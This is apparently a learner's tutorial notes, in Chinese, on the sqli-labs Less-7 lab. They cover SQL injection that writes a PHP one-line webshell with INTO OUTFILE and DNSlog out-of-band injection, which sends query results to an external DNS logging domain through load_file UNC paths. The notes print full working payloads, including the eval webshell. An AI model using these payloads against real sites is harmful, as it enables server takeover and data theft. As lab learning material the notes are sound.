由于之前主学二进制方向,web方向有所落下,但现在决定双修,所以web也开始推进。
进入正题,现在该学文件写入了。虽然现在SQL注入漏洞已经不常见,但还是可以从中学到很多基础,能够拓宽知识面。
文件写入(少见),需要你的数据库有读写权限,不然是不能成功的。
可以先看一下数据库有无读写权限
在information_schema中输入show variables like '%secure%';
如果secure_file_priv后面什么都没有那么是有读写权限,如果后面是NULL是没有读写权限的。
如果没有读写权限那么先在自己装的MYSQL数据文件中找到my.ini进入
在其中找到secure_file_priv=“NULL”
如果没有就给它加上,如图:
然后刷新数据库,再次输入show variables like '%secure%';secure_file_priv=""就成功了。
然后就是来判断是字符型还是数字型了,发现是字符型,那它的闭合方式是什么呢?
输入?id=1'发现是正确的
输入?id=1'--+把后面的东西过滤掉发现还是正确的。这说明它不是单引号闭合。
输入?id=1"和?id=1"--+正确说明不是双引号。
一个一个试当输入?id=1')它报错,但是输入?id=1')--+它还是错的不是这种闭合
当试到?id=1'))报错并且?id=1'))--+时不报错说明是这种闭合方式。
然后用?id=1'))group by 3--+有几列。
?id=1')) union select 1,2,3--+测试查询语句
然后是一句话木马
<?php @eval($_POST['password']);?>
?id=-1')) union select 1,2,"<?php @eval($_POST['password']);?>" into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\WOw.php"--+
其中password为预留密码,WOw.php为新插入的文件名。
然后可以用蚁剑链接,获得数据库权限。sql-libs第7关,我无法正常传入木马文件,然后发现phpstudy_pro,开Nginx服务,别开Apache不然写不进去,我是出现了这种情况。
然后发现多出一个PHP文件使用蚁剑链接就可以控制数据库了
这种注入方式知道原理即可,实战较少见。
DNS log手动注入
DNSlog注入它也算盲注的一种,但是它比普通盲注的效率高,像时间盲注和布尔盲注在特定的条件下对于WAF绕过有帮助但是效率低,大多数网络平台已经将sqlmap加入黑名单中,DNSlog注入 可以帮助我们提升效率,它通常是成组或成行的注入。
属于盲注的一种,这个也要读写权限(偏向于理论,上个题不能做这个题大概也不行这是题目的问题)
首先要知道load_file()函数,该函数可以读取本机或者网络上共享出来的文件。
用法如下
load_file()
这是我本机的E盘的一个叫ctf的txt文件。查出后显示有多少字节。
这是将文件移入note文件夹后的语句,如果写的路径不对它不会报错,但是它也不会显示字节的多少,只显示NULL。
这里还要说一下UNC路径这个概念。
UNC路径(Universal Naming Convention)是一种网络路径的命名规则,也被称为通用命名规范。 它用于在网络中标识和访问文件、文件夹等资源。UNC路径的格式通常包括服务器名称、共享名称以及资源名称,例如\\ServerName\ShareName\ResourceName
。
UNC路径的格式和用途
UNC路径的格式通常为\\ServerName\ShareName\ResourceName
,其中:
ServerName
表示服务器的名称。ShareName
表示共享的名称。ResourceName
表示共享内的资源名称,如文件夹或文件。
win+R然后输入
\\访问主机(服务器)IP\已经共享的文件名\要看的文件
用SQL语句是这样的
select load_file("//服务器IP/要访问的共享文件夹/文件名");
以上是正常的写法下面介绍我们要学的手法
如果我们将服务器IP写成网站的域名,网站数据库自动会进行一次域名解析得到服务器的IP,在其前面加上SQL查数据库的SQL命令
select load_file("//(select database())+.+域名/要访问的共享文件夹/文件名");
注意中间的那个“.”这是个拼接符, 将查询语句和域名拼接在一起时,就会先执行查库命令,当然我们不会去关心后面的要访问的文件能不能成功,我们只关心它的查询语句能不能查出东西,然后查出东西怎么看到。
我们需要看到DNS解析日志
这里有个网站http://www.dnslog.cn/
这个要API,但个人使用推荐http://ceye.io
以sqli-labs靶场中的题为例
访问1p3nrg.dnslog.cn并在该网站中查到DNS日志
可以看到数据库名
注意查表名时要在后面加上limit函数控制输出的内容。
还有就是为什么要用concat函数,因为将查询语句直接放进去是无法执行,需要concat进行拼接。
然后剩下的依旧是原来那些查询命令。